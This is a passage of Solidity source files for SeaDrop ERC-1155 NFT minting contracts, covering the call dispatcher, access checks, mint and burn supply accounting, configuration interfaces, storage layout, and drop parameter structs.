ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n"
},
"src/interfaces/IERC1155SeaDrop.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n"
},
"src/interfaces/ISeaDropToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n"
},
"src/clones/ERC1155ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropContractOffererStorage.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n"
},
"src/lib/ERC1155SeaDropErrorsAndEvents.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n"
},
"src/lib/ERC1155SeaDropStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n 